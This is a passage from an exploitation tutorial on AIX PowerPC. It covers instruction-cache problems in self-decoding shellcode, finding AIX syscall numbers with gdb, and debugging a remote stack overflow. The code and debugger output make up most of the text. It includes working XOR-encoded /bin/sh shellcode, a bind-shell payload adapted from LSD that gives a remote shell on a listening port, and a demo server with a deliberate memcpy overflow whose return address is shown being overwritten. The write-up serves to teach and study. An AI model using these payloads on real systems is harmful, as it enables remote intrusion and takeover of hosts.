"\xd1\x8d\x96\xfe"      //          '/', 's', 'h', 0x0
;

int main() {
  int jump[2]={(int)shellcode,0};
  ((*(void (*)())jump)());
}

The first part is decoder. r3 points to the address of the front of real shellcode. r9 is the counter, whose size is one more than real shellcode. It will do xor operate from last byte of real shellcode.

When I run the program in gdb, I find the following problem:

(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 <shellcode+48>:      addi    r3,r3,29
0x2000041c <shellcode+52>:      stw     r3,-8(r1)
0x20000420 <shellcode+56>:      stw     r5,-4(r1)
0x20000424 <shellcode+60>:      addi    r4,r1,-8
0x20000428 <shellcode+64>:      li      r2,5
0x2000042c <shellcode+68>:      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 <shellcode+72>:      sc
0x20000434 <shellcode+76>:      cmpdi   cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 <shellcode>: 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 <shellcode+16>:      0x3863ff26      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 <shellcode+32>:      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 <shellcode+48>:      0x3863001d      0x9061fff8      0x90a1fffc      0x3881fff8
0x20000428 <shellcode+64>:      0x38400005      0x4cc63342      0x44000002      0x2f62696e
0x20000438 <shellcode+80>:      0x2f736800      0x00000000      0x100005a0      0x00000000
(gdb)

The program halts at 0x20000418, and the instruction is "addi r3,r3,29". This instruction has no problem, and all of real shellcode seems decoded correctly, but the shellcode failed.

When I break at 0x20000418, it is in different way after run:

(gdb) b *0x20000418
Breakpoint 1 at 0x20000418
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 <shellcode+48>:      lfsu    f20,-285(r29)
0x2000041c <shellcode+52>:      stw     r3,-8(r1)
0x20000420 <shellcode+56>:      stw     r5,-4(r1)
0x20000424 <shellcode+60>:      addi    r4,r1,-8
0x20000428 <shellcode+64>:      li      r2,5
0x2000042c <shellcode+68>:      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 <shellcode+72>:      sc
0x20000434 <shellcode+76>:      cmpdi   cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 <shellcode>: 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 <shellcode+16>:      0x3863ff26      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 <shellcode+32>:      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 <shellcode+48>:      0xc69dfee3      0x9061fff8      0x90a1fffc      0x3881fff8
0x20000428 <shellcode+64>:      0x38400005      0x4cc63342      0x44000002      0x2f62696e
0x20000438 <shellcode+80>:      0x2f736800      0x00000000      0x100005a0      0x00000000
(gdb)

I found that the content of address 0x20000418 wasn't decoded. It was strange! I discussed it with watercloud and alert7, and they said it might be instruction cache or branch prediction. We found a discussion by google:

http://seclists.org/lists/vuln-dev/2001/Nov/0325.html

AIX has instruction cache and data cache. When execution begins, the instructions are fetched from the instruction cache -- which isn't always the same as what you put into the data cache. So, a normal xor decoder won't work.

"A developer's guide to the PowerPC architecture" introduced self-modifying code. While writing self-modifying code is not a recommended practice, sometimes it is absolutely necessary. The following sequence shows the instructions used to perform a code modification:

1. Store the modified instruction.
2. Issue the dcbst instruction to force the cache line containing the modified instruction to storage.
3. Issue the sync instruction to ensure dcbst is completed.
4. Issue the icbi instruction to invalidate the instruction cache line that will contain the modified instruction.
5. Issue the isync instruction to clear the instruction pipeline of any instruction that may have already been fetched from the cache line prior to the cache line being invalidated.
6. It is now okay to execute the modified instruction. An instruction cache miss will occur when fetching this instruction, resulting in the fetching of the modified instruction from storage.

H D Moore send me a sample on MacOSX, but these is a big problem on my box.

OK, my AIX box like below:

bash-2.05b$ uname -a
AIX aix5 1 5 001381144C00
bash-2.05b$ lsattr -El proc0
state     enable      Processor state False
type      PowerPC_604 Processor type  False
frequency 232649620   Processor Speed False

So sadly, My box doesn't support cache instructions.

bash-2.05b$ cat testasm.s
.globl .main
.csect .text[PR]
.main:
        icbi    %r6, %r13
        dcbf    %r6, %r13

bash-2.05b$ gcc testasm.s
testasm.s: Assembler messages:
testasm.s:4: Error: Unrecognized opcode: `icbi'
testasm.s:5: Error: Unrecognized opcode: `dcbf'
bash-2.05b$ /usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM.
testasm.s: line 5: 1252-142 Syntax error.

Neither GNU's as and system's as cann't recognized these cache instructions. sync and isync were supported.

-bash-2.05b$ cat test.c
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79"      //  xor.    %r5, %r5, %r5
"\x40\x82\xff\xfd"      //  bnel    .main
"\x7c\x68\x02\xa6"      //  mflr    %r3
"\x38\x63\x01\x01"      //  addi    %r3, %r3, 0x101
"\x38\x63\xff\x2e"      //  addi    %r3, %r3, -0xDA     # r3 point start of real shellcode-1
"\x39\x20\x01\x01"      //  li      %r9, 0x101
"\x39\x29\xff\x23"      //  addi    %r9, %r9, -0xDD     # shellcode size+1
"\x7c\xc9\x18\xae"      //  lbzx    %r6, %r9, %r3       # read a character
"\x68\xc7\xfe\xfe"      //  xori    %r7, %r6, 0xFEFE    # xor
"\x7c\xe9\x19\xae"      //  stbx    %r7, %r9, %r3       # store a character
"\x35\x29\xff\xff"      //  subic.  %r9, %r9, 1
"\x40\x82\xff\xf0"      //  bne     Loop                # loop

"\x7c\x00\x04\xac"      //  sync
"\x4c\x00\x01\x2c"      //  isync

// real shellcode
"\xc6\x9d\xfe\xe3"      //  addi    %r3, %r3, 29
"\x6e\x9f\x01\x06"      //  stw     %r3, -8(%r1)
"\x6e\x5f\x01\x02"      //  stw     %r5, -4(%r1)
"\xc6\x7f\x01\x06"      //  subi    %r4, %r1, 8
"\xc6\xbe\xfe\xfb"      //  li      %r2, 5
"\xb2\x38\xcd\xbc"      //  crorc   %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc"      //  svca    0
"\xd1\x9c\x97\x90"      //  .byte   '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe"      //          '/', 's', 'h', 0x0
;

int main() {
  int jump[2]={(int)shellcode,0};
  ((*(void (*)())jump)());
}

I run this program in gdb direct to check sync and isync whether they work well.

(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 <shellcode+48>:      sync
0x2000041c <shellcode+52>:      isync
0x20000420 <shellcode+56>:      addi    r3,r3,29
0x20000424 <shellcode+60>:      stw     r3,-8(r1)
0x20000428 <shellcode+64>:      stw     r5,-4(r1)
0x2000042c <shellcode+68>:      addi    r4,r1,-8
0x20000430 <shellcode+72>:      li      r2,5
0x20000434 <shellcode+76>:      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 <shellcode>: 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 <shellcode+16>:      0x3863ff2e      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 <shellcode+32>:      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 <shellcode+48>:      0x7c0004ac      0x4c00012c      0x3863001d      0x9061fff8
0x20000428 <shellcode+64>:      0x90a1fffc      0x3881fff8      0x38400005      0x4cc63342
0x20000438 <shellcode+80>:      0x44000002      0x2f62696e      0x2f736800      0x00000000

The program crashed at 0x20000420 too. I took a breakpoint at 0x20000420 first:

(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 <shellcode+48>:      sync
0x2000041c <shellcode+52>:      isync
0x20000420 <shellcode+56>:      lfsu    f20,-285(r29)
0x20000424 <shellcode+60>:      stw     r3,-8(r1)
0x20000428 <shellcode+64>:      stw     r5,-4(r1)
0x2000042c <shellcode+68>:      addi    r4,r1,-8
0x20000430 <shellcode+72>:      li      r2,5
0x20000434 <shellcode+76>:      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 <shellcode>: 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 <shellcode+16>:      0x3863ff2e      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 <shellcode+32>:      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 <shellcode+48>:      0x7c0004ac      0x4c00012c      0xc69dfee3      0x9061fff8
0x20000428 <shellcode+64>:      0x90a1fffc      0x3881fff8      0x38400005      0x4cc63342
0x20000438 <shellcode+80>:      0x44000002      0x2f62696e      0x2f736800      0x00000000
(gdb)

Instruction at 0x20000420 didn't decode! sync and isync have no effect.

When I take a breakpoint at isync instruction, it works well too.

(gdb) b *0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x2000041c in shellcode ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb) c
Continuing.
$ exit

Program exited normally.

Phil of 0dd showed his experience on ARM chip development. He said syscall interrupt can flush instruction cache. So I modified my shellcode as follows:

char shellcode[] =
// decoder
"\x7d\xce\x72\x79"      //  xor.    %r14, %r14, %r14
"\x40\x82\xff\xfd"      //  bnel    .main
"\x7d\xe8\x02\xa6"      //  mflr    %r15
"\x39\xef\x01\x01"      //  addi    %r15, %r15, 0x101
"\x39\xef\xff\x37"      //  addi    %r15, %r15, -0xC9   # r15 point to start of real shellcode
"\x3a\x20\x01\x01"      //  li      %r17, 0x101
"\x38\x51\xff\xe1"      //  addi    %r2, %r17, -0x1F    # r2=0xe2 syscall number of sync.
"\x3a\x31\xff\x2f"      //  addi    %r17, %r17, -0xD1   # shellcode size

"\x7e\x51\x78\xae"      //  lbzx    %r18, %r17, %r15    # read a character
"\x6a\x53\xfe\xfe"      //  xori    %r19, %r18, 0xFEFE  # xor
"\x7e\x71\x79\xae"      //  stbx    %r19, %r17, %r15    # store a character
"\x36\x31\xff\xff"      //  subic.  %r17, %r17, 1
"\x40\x80\xff\xf0"      //  bne     Loop                # loop

"\x4c\xc6\x33\x42"      //  crorc   %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6"      //  mtlr    %r15                # lr=real shellcode address
"\x44\xff\xff\x02"      //  svca    0

// real shellcode
"\xc6\x91\xfe\xde"      //  addi    %r3, %r15, 32
"\x6e\x9f\x01\x06"      //  stw     %r3, -8(%r1)
"\x83\x3b\x8d\x86"      //  mr      %r5, %r14
"\x6e\x5f\x01\x02"      //  stw     %r5, -4(%r1)
"\xc6\x7f\x01\x06"      //  subi    %r4, %r1, 8
"\xc6\xbe\xfe\xfb"      //  li      %r2, 5
"\xb2\x38\xcd\xbc"      //  crorc   %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc"      //  svca    0
"\xd1\x9c\x97\x90"      //  .byte   '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe"      //          '/', 's', 'h', 0x0
;

int main() {
  int jump[2]={(int)shellcode,0};
  ((*(void (*)())jump)());
}

-bash-2.05b$ ./test_3
$ id
uid=202(san) gid=1(staff)
$ exit
-bash-2.05b$

It runs well. After syscall, the system executes lr register and the instruction will not be cache. So inserting a syscall before real shellcode is the way to resolve I-cache problem.

--[ 7 - How to debug remote overflow

LSD provided some remote shellcodes from UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes.

The following C program describes a simple bind port function.

-bash-2.05b$ cat bind.c
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>

int soc,cli,i;
struct sockaddr_in serv_addr;

int main()
{
    serv_addr.sin_family=2;
    serv_addr.sin_addr.s_addr=0;
    serv_addr.sin_port=0x1234;
    soc=socket(2,1,0);
    bind(soc,(struct sockaddr *)&serv_addr,0x10);
    listen(soc,5);
    cli=accept(soc,0,0);

    for (i=2;i>=0;i--) {
        close(i);
        kfcntl(cli, 0, i);
    }

    execve("/bin/sh", 0, 0);
}

kfcntl syscall is the last call of dup2 on AIX.

-bash-2.05b$ gdb bind
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) disas main
Dump of assembler code for function main:
0x10000534 <main+0>:    mflr    r0
0x10000538 <main+4>:    stw     r31,-4(r1)
0x1000053c <main+8>:    stw     r0,8(r1)
0x10000540 <main+12>:   stwu    r1,-72(r1)
0x10000544 <main+16>:   mr      r31,r1
0x10000548 <main+20>:   lwz     r9,108(r2)
0x1000054c <main+24>:   li      r0,2
0x10000550 <main+28>:   stb     r0,1(r9)
0x10000554 <main+32>:   lwz     r9,108(r2)
0x10000558 <main+36>:   li      r0,0
0x1000055c <main+40>:   stw     r0,4(r9)
0x10000560 <main+44>:   lwz     r9,108(r2)
0x10000564 <main+48>:   li      r0,4660
0x10000568 <main+52>:   sth     r0,2(r9)
0x1000056c <main+56>:   li      r3,2
0x10000570 <main+60>:   li      r4,1
0x10000574 <main+64>:   li      r5,0
0x10000578 <main+68>:   bl      0x1000734c <socket>
0x1000057c <main+72>:   lwz     r2,20(r1)
0x10000580 <main+76>:   mr      r0,r3
0x10000584 <main+80>:   lwz     r9,112(r2)
0x10000588 <main+84>:   stw     r0,0(r9)
0x1000058c <main+88>:   lwz     r9,112(r2)
0x10000590 <main+92>:   lwz     r3,0(r9)
0x10000594 <main+96>:   lwz     r4,108(r2)
0x10000598 <main+100>:  li      r5,16
0x1000059c <main+104>:  bl      0x10007448 <bind>
0x100005a0 <main+108>:  lwz     r2,20(r1)
0x100005a4 <main+112>:  lwz     r9,112(r2)
0x100005a8 <main+116>:  lwz     r3,0(r9)
0x100005ac <main+120>:  li      r4,5
0x100005b0 <main+124>:  bl      0x1000746c <listen>
0x100005b4 <main+128>:  lwz     r2,20(r1)
0x100005b8 <main+132>:  lwz     r9,112(r2)
0x100005bc <main+136>:  lwz     r3,0(r9)
0x100005c0 <main+140>:  li      r4,0
0x100005c4 <main+144>:  li      r5,0
0x100005c8 <main+148>:  bl      0x10007394 <naccept>
0x100005cc <main+152>:  lwz     r2,20(r1)
0x100005d0 <main+156>:  mr      r0,r3
0x100005d4 <main+160>:  lwz     r9,116(r2)
0x100005d8 <main+164>:  stw     r0,0(r9)
0x100005dc <main+168>:  lwz     r9,120(r2)
0x100005e0 <main+172>:  li      r0,2
0x100005e4 <main+176>:  stw     r0,0(r9)
0x100005e8 <main+180>:  lwz     r9,120(r2)
0x100005ec <main+184>:  lwz     r0,0(r9)
0x100005f0 <main+188>:  cmpwi   r0,0
0x100005f4 <main+192>:  bge-    0x100005fc <main+200>
0x100005f8 <main+196>:  b       0x10000640 <main+268>
0x100005fc <main+200>:  lwz     r9,120(r2)
0x10000600 <main+204>:  lwz     r3,0(r9)
0x10000604 <main+208>:  bl      0x100074b4 <close>
0x10000608 <main+212>:  lwz     r2,20(r1)
0x1000060c <main+216>:  lwz     r9,116(r2)
0x10000610 <main+220>:  lwz     r11,120(r2)
0x10000614 <main+224>:  lwz     r3,0(r9)
0x10000618 <main+228>:  li      r4,0
0x1000061c <main+232>:  lwz     r5,0(r11)
0x10000620 <main+236>:  bl      0x100074d8 <kfcntl>
0x10000624 <main+240>:  lwz     r2,20(r1)
0x10000628 <main+244>:  lwz     r11,120(r2)
0x1000062c <main+248>:  lwz     r9,120(r2)
0x10000630 <main+252>:  lwz     r9,0(r9)
0x10000634 <main+256>:  addi    r0,r9,-1
0x10000638 <main+260>:  stw     r0,0(r11)
0x1000063c <main+264>:  b       0x100005e8 <main+180>
0x10000640 <main+268>:  lwz     r3,124(r2)
0x10000644 <main+272>:  li      r4,0
0x10000648 <main+276>:  li      r5,0
0x1000064c <main+280>:  bl      0x10007328 <execve>
0x10000650 <main+284>:  lwz     r2,20(r1)
0x10000654 <main+288>:  mr      r3,r0
0x10000658 <main+292>:  lwz     r1,0(r1)
0x1000065c <main+296>:  lwz     r0,8(r1)
0x10000660 <main+300>:  mtlr    r0
0x10000664 <main+304>:  lwz     r31,-4(r1)
0x10000668 <main+308>:  blr
0x1000066c <main+312>:  .long 0x0
0x10000670 <main+316>:  .long 0x2061
0x10000674 <main+320>:  lwz     r0,1(r1)
0x10000678 <main+324>:  .long 0x138
0x1000067c <main+328>:  .long 0x46d61
0x10000680 <main+332>:  xori    r14,r11,7936
End of assembler dump.

GDB displays entry address of all the functions, and we take breakpoints on these addresses.

(gdb) b *0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b *0x10007448
Breakpoint 2 at 0x10007448
(gdb) b *0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b *0x10007394
Breakpoint 4 at 0x10007394
(gdb) b *0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b *0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b *0x10007328
Breakpoint 7 at 0x10007328

When the program runs, gdb will break into these functions, so we can obtain syscall numbers of these functions.

(gdb) r
Starting program: /home/san/bind

Breakpoint 1, 0x1000734c in socket ()
(gdb) x/8i $pc
0x1000734c <socket>:    lwz     r12,4(r2)
0x10007350 <socket+4>:  stw     r2,20(r1)
0x10007354 <socket+8>:  lwz     r0,0(r12)
0x10007358 <socket+12>: lwz     r2,4(r12)
0x1000735c <socket+16>: mtctr   r0
0x10007360 <socket+20>: bctr
0x10007364 <socket+24>: .long 0x0
0x10007368 <socket+28>: .long 0xc8000
(gdb) si
0x10007350 in socket ()
(gdb)
0x10007354 in socket ()
(gdb)
0x10007358 in socket ()
(gdb)
0x1000735c in socket ()
(gdb) p/x $r2
$1 = 0x8d
(gdb) c
Continuing.

Breakpoint 2, 0x10007448 in bind ()
(gdb) x/8i $pc
0x10007448 <bind>:      lwz     r12,32(r2)
0x1000744c <bind+4>:    stw     r2,20(r1)
0x10007450 <bind+8>:    lwz     r0,0(r12)
0x10007454 <bind+12>:   lwz     r2,4(r12)
0x10007458 <bind+16>:   mtctr   r0
0x1000745c <bind+20>:   bctr
0x10007460 <bind+24>:   .long 0x0
0x10007464 <bind+28>:   .long 0xc8000
(gdb) si
0x1000744c in bind ()
(gdb)
0x10007450 in bind ()
(gdb)
0x10007454 in bind ()
(gdb)
0x10007458 in bind ()
(gdb) p/x $r2
$2 = 0x8c
(gdb) c
Continuing.

Breakpoint 3, 0x1000746c in listen ()
(gdb) x/8i $pc
0x1000746c <listen>:    lwz     r12,36(r2)
0x10007470 <listen+4>:  stw     r2,20(r1)
0x10007474 <listen+8>:  lwz     r0,0(r12)
0x10007478 <listen+12>: lwz     r2,4(r12)
0x1000747c <listen+16>: mtctr   r0
0x10007480 <listen+20>: bctr
0x10007484 <listen+24>: .long 0x0
0x10007488 <listen+28>: .long 0xc8000
(gdb) si
0x10007470 in listen ()
(gdb)
0x10007474 in listen ()
(gdb)
0x10007478 in listen ()
(gdb)
0x1000747c in listen ()
(gdb) p/x $r2
$5 = 0x8b
(gdb) c
Continuing.

Breakpoint 4, 0x10007394 in naccept ()
(gdb) x/8i $pc
0x10007394 <naccept>:   lwz     r12,12(r2)
0x10007398 <naccept+4>: stw     r2,20(r1)
0x1000739c <naccept+8>: lwz     r0,0(r12)
0x100073a0 <naccept+12>:        lwz     r2,4(r12)
0x100073a4 <naccept+16>:        mtctr   r0
0x100073a8 <naccept+20>:        bctr
0x100073ac <naccept+24>:        .long 0x0
0x100073b0 <naccept+28>:        .long 0xc8000
(gdb) si
0x10007398 in naccept ()
(gdb)
0x1000739c in naccept ()
(gdb)
0x100073a0 in naccept ()
(gdb)
0x100073a4 in naccept ()
(gdb) p/x $r2
$6 = 0x8a
(gdb) c
Continuing.

Breakpoint 5, 0x100074b4 in close ()
(gdb) x/8i $pc
0x100074b4 <close>:     lwz     r12,44(r2)
0x100074b8 <close+4>:   stw     r2,20(r1)
0x100074bc <close+8>:   lwz     r0,0(r12)
0x100074c0 <close+12>:  lwz     r2,4(r12)
0x100074c4 <close+16>:  mtctr   r0
0x100074c8 <close+20>:  bctr
0x100074cc <close+24>:  .long 0x0
0x100074d0 <close+28>:  .long 0xc8000
(gdb) si
0x100074b8 in close ()
(gdb)
0x100074bc in close ()
(gdb)
0x100074c0 in close ()
(gdb)
0x100074c4 in close ()
(gdb) p/x $r2
$7 = 0xa0
(gdb) c
Continuing.

Breakpoint 6, 0x100074d8 in kfcntl ()
(gdb) x/8i $pc
0x100074d8 <kfcntl>:    lwz     r12,48(r2)
0x100074dc <kfcntl+4>:  stw     r2,20(r1)
0x100074e0 <kfcntl+8>:  lwz     r0,0(r12)
0x100074e4 <kfcntl+12>: lwz     r2,4(r12)
0x100074e8 <kfcntl+16>: mtctr   r0
0x100074ec <kfcntl+20>: bctr
0x100074f0 <kfcntl+24>: .long 0x0
0x100074f4 <kfcntl+28>: .long 0xc8000
(gdb) si
0x100074dc in kfcntl ()
(gdb)
0x100074e0 in kfcntl ()
(gdb)
0x100074e4 in kfcntl ()
(gdb)
0x100074e8 in kfcntl ()
(gdb) p/x $r2
$1 = 0x142

(gdb) c
Continuing.

Breakpoint 7, 0x10007328 in execve ()
(gdb) x/8i $pc
0x10007328 <execve>:    lwz     r12,0(r2)
0x1000732c <execve+4>:  stw     r2,20(r1)
0x10007330 <execve+8>:  lwz     r0,0(r12)
0x10007334 <execve+12>: lwz     r2,4(r12)
0x10007338 <execve+16>: mtctr   r0
0x1000733c <execve+20>: bctr
0x10007340 <execve+24>: .long 0x0
0x10007344 <execve+28>: .long 0xc8000
(gdb) si
0x1000732c in execve ()
(gdb)
0x10007330 in execve ()
(gdb)
0x10007334 in execve ()
(gdb)
0x10007338 in execve ()
(gdb) p/x $r2
$9 = 0x5

OK, we found the syscall numbers in AIX 5.1 that we needed.

socket=0x8d
bind=0x8c
listen=0x8b
naccept=0x8a
close=0xa0
kfcntl=0x142
execve=0x05

We modify a little of LSD's shellcode.

char lsd[] =
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel    <syscallcode>          */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xc0\x01\xff"     /* lil     r22,0x1ff              */
    "\x3a\xf6\xfe\x2d"     /* cal     r23,-467(r22)          */
    "\x7e\xb5\xba\x14"     /* cax     r21,r21,r23            */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */

    "\x05\x82\x53\xa0"     /* syscall numbers                */
    "\x87\xa0\x01\x42"     /* execve=0x05 close=0xa0         */
    "\x8d\x8c\x8b\x8a"     /* socket=0x8d bind=0x8c          */
                           /* listen=0x8b naccept=0x8a       */
                           /* kfcntl=0x142                   */

    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca    0x0                    */
    "\x3a\xb5\xff\xf8"     /* cal     r21,-8(r21)            */

    "\x2c\x74\x12\x34"     /* cmpi    cr0,r20,0x1234         */
    "\x41\x82\xff\xfd"     /* beql    <bindsckcode>          */
    "\x7f\x08\x02\xa6"     /* mflr    r24                    */
    "\x92\x98\xff\xfc"     /* st      r20,-4(r24)            */
    "\x38\x76\xfe\x03"     /* cal     r3,-509(r22)           */
    "\x38\x96\xfe\x02"     /* cal     r4,-510(r22)           */
    "\x98\x78\xff\xf9"     /* stb     r3,-7(r24)             */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xfc"     /* lbz     r2,-4(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x38\x98\xff\xf8"     /* cal     r4,-8(r24)             */
    "\x38\xb6\xfe\x11"     /* cal     r5,-495(r22)           */
    "\x88\x55\xff\xfd"     /* lbz     r2,-3(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x38\x96\xfe\x06"     /* cal     r4,-506(r22)           */
    "\x88\x55\xff\xfe"     /* lbz     r2,-2(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xff"     /* lbz     r2,-1(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x3b\x56\xfe\x03"     /* cal     r26,-509(r22)          */
    "\x7f\x43\xd3\x78"     /* mr      r3,r26                 */
    "\x88\x55\xff\xf7"     /* lbz     r2,-9(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7f\x45\xd3\x78"     /* mr      r5,r26                 */
    "\xa0\x55\xff\xfa"     /* lhz     r2,-6(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x37\x5a\xff\xff"     /* ai.     r26,r26,-1             */
    "\x40\x80\xff\xd4"     /* bge     <bindsckcode+120>      */

    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel    <shellcode>            */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x55\xff\xf4"     /* lbz     r2,-12(r21)            */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */
    "/bin/sh"
;    

int main() {
  int jump[2]={(int)lsd,0};
  ((*(void (*)())jump)());
}

It seems good, let's try remote overflow.

/* server.c -  overflow demo
*
*  2004.06.16
*  san@nsfocus.com
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

char Buff[1024];
void overflow(char * s,int size)
{
    char s1[50];
    printf("receive %d bytes",size);
    s[size]=0;
    //strcpy(s1,s);
    memcpy(s1, s, size);
    // There must be a syscall after overflow at least, otherwise I-cache will afflict you. ;-)
    sync();
}

int main(int argc, char *argv[])
{
    int s, c, ret, lBytesRead;
    struct sockaddr_in srv;

    s = socket(AF_INET, SOCK_STREAM, 0);
    srv.sin_addr.s_addr = INADDR_ANY;
    srv.sin_port = htons(4444);
    srv.sin_family = AF_INET;

    bind(s, &srv, sizeof(srv));
    listen(s, 3);

    c = accept(s,NULL,NULL);

    while(1)
    {
        lBytesRead = recv(c, Buff, 1024, 0);
        if(lBytesRead<=0)    break;

        printf("fd = %x recv %d bytes\n", c, lBytesRead);
        overflow(Buff, lBytesRead);  

        ret=send(c,Buff,lBytesRead,0);
        if(ret<=0)    break;
    }

    close(s);
    close(c);
}

The debugs in remote and local buffer overflow are not different, and the key is to find the overflow point. You may need construct various network data structures in remote overflow.

The following is the debug process that uses gdb to find return address and the overflow buffer size.

-bash-2.05b$ gdb server
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) r
Starting program: /home/san/server

Client connect to server and send overrun data.

-bash-2.05b$ telnet localhost 4444
Trying...
Connected to localhost.
Escape character is '^]'.
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD

Server side will receive a Segmentation fault.

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) x/8x $r1
0x2ff22b58:     0x41424344      0x41424344      0x41424344      0x0d0a6648
0x2ff22b68:     0x00000000      0x20001000      0x20001110      0x0000005e

We must overwrite r1+8 that the value of lr register after function return. Then, all of the register like below:

(gdb) i reg
r0             0x41424344       1094861636
r1             0x2ff22b58       804399960
r2             0x20001000       536875008
r3             0x1757180        24473984
r4             0x0      0
r5             0x2ff22ffc       804401148
r6             0xd032   53298
r7             0x0      0
r8             0x60000000       1610612736
r9             0x600045f0       1610630640
r10            0x0      0
r11            0x60003bca       1610628042
r12            0x2ff3b400       804500480
